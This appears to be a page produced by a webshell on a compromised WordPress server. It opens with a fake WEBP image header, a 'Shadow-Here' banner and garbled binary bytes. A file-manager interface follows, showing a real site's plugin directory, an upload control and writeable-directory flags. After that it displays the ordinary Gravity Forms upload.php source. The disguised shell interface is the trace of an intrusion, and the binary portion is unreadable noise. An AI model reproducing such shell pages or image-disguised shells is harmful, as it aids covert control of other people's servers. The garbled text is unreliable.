RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! 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Directory :  /home/web/dev.agtindia.co.in/canle-valve/wp-content/plugins/gravityforms/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

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Current File : /home/web/dev.agtindia.co.in/canle-valve/wp-content/plugins/gravityforms/includes/upload.php
<?php

if ( ! class_exists( 'GFForms' ) ) {
	die();
}

class GFAsyncUpload {

	public static function upload() {

		GFCommon::log_debug( 'GFAsyncUpload::upload(): Starting.' );

		if ( $_SERVER['REQUEST_METHOD'] != 'POST' ) {
			status_header( 404 );
			die();
		}

		header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );
		send_nosniff_header();
		nocache_headers();

		status_header( 200 );

		// If the file is bigger than the server can accept then the form_id might not arrive.
		// This might happen if the file is bigger than the max post size ini setting.
		// Validation in the browser reduces the risk of this happening.
		if ( ! isset( $_REQUEST['form_id'] ) ) {
			GFCommon::log_debug( 'GFAsyncUpload::upload(): File upload aborted because the form_id was not found. The file may have been bigger than the max post size ini setting.' );
			self::die_error( 500, __( 'Failed to upload file.', 'gravityforms' ) );
		}


		$form_id        = absint( $_REQUEST['form_id'] );
		$form_unique_id = rgpost( 'gform_unique_id' );
		$form           = GFAPI::get_form( $form_id );

		if ( empty( $form ) || ! $form['is_active'] ) {
			die();
		}

		if ( GFCommon::form_requires_login( $form ) ) {
			if ( ! is_user_logged_in() ) {
				die();
			}
			check_admin_referer( 'gform_file_upload_' . $form_id, '_gform_file_upload_nonce_' . $form_id );
		}

		if ( ! ctype_alnum( $form_unique_id ) ) {
			die();
		}

		$tmp_location = GFFormsModel::get_tmp_upload_location( $form['id'] );
		$target_dir   = $tmp_location['path'];

		if ( ! is_dir( $target_dir ) ) {
			if ( ! wp_mkdir_p( $target_dir ) ) {
				GFCommon::log_debug( "GFAsyncUpload::upload(): Couldn't create the tmp folder: " . $target_dir );
				self::die_error( 500, __( 'Failed to upload file.', 'gravityforms' ) );
			}
		}

		$time = current_time( 'mysql' );
		$y    = substr( $time, 0, 4 );
		$m    = substr( $time, 5, 2 );

		//adding index.html files to all subfolders
		if ( ! file_exists( GFFormsModel::get_upload_root() . '/index.html' ) ) {
			GFForms::add_security_files();
		} else if ( ! file_exists( GFFormsModel::get_upload_path( $form_id ) . '/index.html' ) ) {
			GFCommon::recursive_add_index_file( GFFormsModel::get_upload_path( $form_id ) );
		} else if ( ! file_exists( GFFormsModel::get_upload_path( $form_id ) . "/$y/index.html" ) ) {
			GFCommon::recursive_add_index_file( GFFormsModel::get_upload_path( $form_id ) . "/$y" );
		} else {
			GFCommon::recursive_add_index_file( GFFormsModel::get_upload_path( $form_id ) . "/$y/$m" );
		}

		if ( ! file_exists( $target_dir . '/index.html' ) ) {
			GFCommon::recursive_add_index_file( $target_dir );
		}

		$uploaded_filename = $_REQUEST['original_filename'];
		$file_name = isset( $_REQUEST['name'] ) ? $_REQUEST['name'] : '';
		$field_id  = rgpost( 'field_id' );
		$field_id  = absint( $field_id );

		/**
		 * Filter the field object that will be associated with the uploaded file.
		 *
		 * This is useful when you want to use Gravity Forms' upload system to upload files. Using this filter you can return a one-time-use field object
		 * to process the file as desired.
		 *
		 * @since 2.2.2
		 *
		 * @param GF_Field $field    The current field object.
		 * @param array    $form     The current form object.
		 * @param int      $field_id The field ID as passed via the $_POST. Used to fetch the current $field.
		 */
		$field = gf_apply_filters( array( 'gform_multifile_upload_field', $form['id'], $field_id ), GFFormsModel::get_field( $form, $field_id ), $form, $field_id );

		if ( empty( $field ) || GFFormsModel::get_input_type( $field ) != 'fileupload' ) {
			die();
		}

		if ( GFCommon::file_name_has_disallowed_extension( $file_name ) || GFCommon::file_name_has_disallowed_extension( $uploaded_filename ) ) {
			GFCommon::log_debug( "GFAsyncUpload::upload(): Illegal file extension: {$file_name}" );
			self::die_error( 104, __( 'The uploaded file type is not allowed.', 'gravityforms' ) );
		}

		$file_name = sanitize_file_name( $file_name );
		$uploaded_filename = sanitize_file_name( $uploaded_filename );

		$allowed_extensions = ! empty( $field->allowedExtensions ) ? GFCommon::clean_extensions( explode( ',', strtolower( $field->allowedExtensions ) ) ) : array();

		$max_upload_size_in_bytes = $field->maxFileSize > 0 ? $field->maxFileSize * 1048576 : wp_max_upload_size();
		$max_upload_size_in_mb    = $max_upload_size_in_bytes / 1048576;

		if ( $_FILES['file']['size'] > 0 && $_FILES['file']['size'] > $max_upload_size_in_bytes ) {
			self::die_error( 104,sprintf( __( 'File exceeds size limit. Maximum file size: %dMB', 'gravityforms' ), $max_upload_size_in_mb ) );
		}

		if ( ! empty( $allowed_extensions ) ) {
			if ( ! GFCommon::match_file_extension( $file_name, $allowed_extensions ) || ! GFCommon::match_file_extension( $uploaded_filename, $allowed_extensions ) ) {
				GFCommon::log_debug( "GFAsyncUpload::upload(): The uploaded file type is not allowed: {$file_name}" );
				self::die_error( 104, sprintf( __( 'The uploaded file type is not allowed. Must be one of the following: %s', 'gravityforms' ), strtolower( $field['allowedExtensions'] ) ) );
			}
		}

		$chunk         = isset( $_REQUEST['chunk'] ) ? intval( $_REQUEST['chunk'] ) : 0;
		$chunks        = isset( $_REQUEST['chunks'] ) ? intval( $_REQUEST['chunks'] ) : 0;
		$chunk_data    = $chunks && $file_name ? rgar( $_REQUEST, str_replace( '.', '_', $file_name ) ) : array();
		$tmp_file_name = '';

		if ( $chunk ) {
			if ( empty( $chunk_data['hash'] ) || ( $chunk_data['hash'] !== wp_hash( $chunk_data['temp_filename'] . ( $chunk - 1 ) . $form_id . $field_id ) ) ) {
				self::die_error( 105, __( 'Upload unsuccessful', 'gravityforms' ) . ' ' . $uploaded_filename );
			}
			$tmp_file_name = $chunk_data['temp_filename'];
		}

		if ( empty( $tmp_file_name ) ) {
			$tmp_file_name = $form_unique_id . '_input_' . $field_id . '_' . GFCommon::random_str( 16 ) . '_' . $file_name;
		}

		$tmp_file_name = sanitize_file_name( $tmp_file_name );
		$file_path     = $target_dir . $tmp_file_name;

		// Only validate if chunking is disabled, or if the final chunk has been uploaded.
		$check_chunk = $chunks === 0 || $chunk === ( $chunks - 1 );

		/**
		 * Allows the disabling of file upload whitelisting
		 *
		 * @param bool false Set to 'true' to disable whitelisting.  Defaults to 'false'.
		 */
		$whitelisting_disabled = apply_filters( 'gform_file_upload_whitelisting_disabled', false );

		if ( ! $whitelisting_disabled && $check_chunk ) {

			$file_array = $_FILES['file'];

			if ( $chunks ) {
				$file_array['tmp_name'] = $file_path;
			}

			// Whitelist the file type
			$valid_uploaded_filename = GFCommon::check_type_and_ext( $file_array, $uploaded_filename );

			if ( is_wp_error( $valid_uploaded_filename ) ) {
				GFCommon::log_debug( sprintf( '%s(): %s; %s; %s', __METHOD__, $uploaded_filename, $valid_uploaded_filename->get_error_code(), $valid_uploaded_filename->get_error_message() ) );
				self::die_error( $valid_uploaded_filename->get_error_code(), $valid_uploaded_filename->get_error_message() );
			}

			$valid_file_name = GFCommon::check_type_and_ext( $file_array, $file_name );

			if ( is_wp_error( $valid_file_name ) ) {
				GFCommon::log_debug( sprintf( '%s(): %s; %s; %s', __METHOD__, $file_name, $valid_file_name->get_error_code(), $valid_file_name->get_error_message() ) );
				self::die_error( $valid_file_name->get_error_code(), $valid_file_name->get_error_message() );
			}
		}

		$cleanup_target_dir = apply_filters( 'gform_cleanup_target_dir', true ); // Remove old files
		$max_file_age = 5 * 3600; // Temp file age in seconds

		// Remove old temp files
		if ( $cleanup_target_dir ) {
			if ( is_dir( $target_dir ) && ( $dir = opendir( $target_dir ) ) ) {
				while ( ( $file = readdir( $dir ) ) !== false ) {
					$tmp_file_path = $target_dir . $file;

					// Remove temp file if it is older than the max age and is not the current file
					if ( preg_match( '/\.part$/', $file ) && ( filemtime( $tmp_file_path ) < time() - $max_file_age ) && ( $tmp_file_path != "{$file_path}.part" ) ) {
						GFCommon::log_debug( 'GFAsyncUpload::upload(): Deleting file: ' . $tmp_file_path );
						@unlink( $tmp_file_path );
					}
				}
				closedir( $dir );
			} else {
				GFCommon::log_debug( 'GFAsyncUpload::upload(): Failed to open temp directory: ' . $target_dir );
				self::die_error( 100, __( 'Failed to open temp directory.', 'gravityforms' ) );
			}
		}

		if ( isset( $_SERVER['HTTP_CONTENT_TYPE'] ) ) {
			$contentType = $_SERVER['HTTP_CONTENT_TYPE'];
		}

		if ( isset( $_SERVER['CONTENT_TYPE'] ) ) {
			$contentType = $_SERVER['CONTENT_TYPE'];
		}

		// Handle non multipart uploads older WebKit versions didn't support multipart in HTML5
		if ( strpos( $contentType, 'multipart' ) !== false ) {
			if ( isset( $_FILES['file']['tmp_name'] ) && is_uploaded_file( $_FILES['file']['tmp_name'] ) ) {
				// Open temp file
				$out = @fopen( "{$file_path}.part", $chunk == 0 ? 'wb' : 'ab' );
				if ( $out ) {
					// Read binary input stream and append it to temp file
					$in = @fopen( $_FILES['file']['tmp_name'], 'rb' );

					if ( $in ) {
						while ( $buff = fread( $in, 4096 ) ) {
							fwrite( $out, $buff );
						}
					} else {
						self::die_error( 101, __( 'Failed to open input stream.', 'gravityforms' ) );
					}

					@fclose( $in );
					@fclose( $out );
					@unlink( $_FILES['file']['tmp_name'] );
				} else {
					self::die_error( 102, __( 'Failed to open output stream.', 'gravityforms' ) );
				}
			} else {
				self::die_error( 103, __( 'Failed to move uploaded file.', 'gravityforms' ) );
			}
		} else {
			// Open temp file
			$out = @fopen( "{$file_path}.part", $chunk == 0 ? 'wb' : 'ab' );
			if ( $out ) {
				// Read binary input stream and append it to temp file
				$in = @fopen( 'php://input', 'rb' );

				if ( $in ) {
					while ( $buff = fread( $in, 4096 ) ) {
						fwrite( $out, $buff );
					}
				} else {
					self::die_error( 101, __( 'Failed to open input stream.', 'gravityforms' ) );
				}

				@fclose( $in );
				@fclose( $out );
			} else {
				self::die_error( 102, __( 'Failed to open output stream.', 'gravityforms' ) );
			}
		}

		if ( ! $chunks || $chunk == $chunks - 1 ) {
			// Upload is complete. Strip the temp .part suffix off
			rename( "{$file_path}.part", $file_path );

			if ( file_exists( $file_path ) ) {
				GFFormsModel::set_permissions( $file_path );
			} else {
				self::die_error( 105, __( 'Upload unsuccessful', 'gravityforms' ) . ' ' . $uploaded_filename );
			}

			gf_do_action( array( 'gform_post_multifile_upload', $form['id'] ), $form, $field, $uploaded_filename, $tmp_file_name, $file_path );

			GFCommon::log_debug( sprintf( 'GFAsyncUpload::upload(): File upload complete. temp_filename: %s  uploaded_filename: %s ', $tmp_file_name, $uploaded_filename ) );
		} else {
			if ( file_exists( "{$file_path}.part" ) ) {
				GFFormsModel::set_permissions( "{$file_path}.part" );
			} else {
				self::die_error( 105, __( 'Upload unsuccessful', 'gravityforms' ) . ' ' . $uploaded_filename );
			}

			GFCommon::log_debug( sprintf( 'GFAsyncUpload::upload(): Chunk upload complete. temp_filename: %s  uploaded_filename: %s chunk: %d', $tmp_file_name, $uploaded_filename, $chunk ) );
		}

		$output = array(
			'status' => 'ok',
			'data'   => array(
				'temp_filename'     => $tmp_file_name,
				'uploaded_filename' => str_replace( "\\'", "'", urldecode( $uploaded_filename ) ) //Decoding filename to prevent file name mismatch.
			)
		);

		if ( $chunks && ( $chunk != $chunks - 1 ) ) {
			$output['data']['hash'] = wp_hash( $tmp_file_name . $chunk . $form_id . $field_id );
		}

		$output = json_encode( $output );

		die( $output );
	}

	public static function die_error( $status_code, $message ) {
		$response = array();

		$response['status'] = 'error';
		$response['error'] = array(
			'code' => $status_code,
			'message' => $message,
		);
		$response_json = json_encode( $response );
		die( $response_json );
	}
}



GFAsyncUpload::upload();

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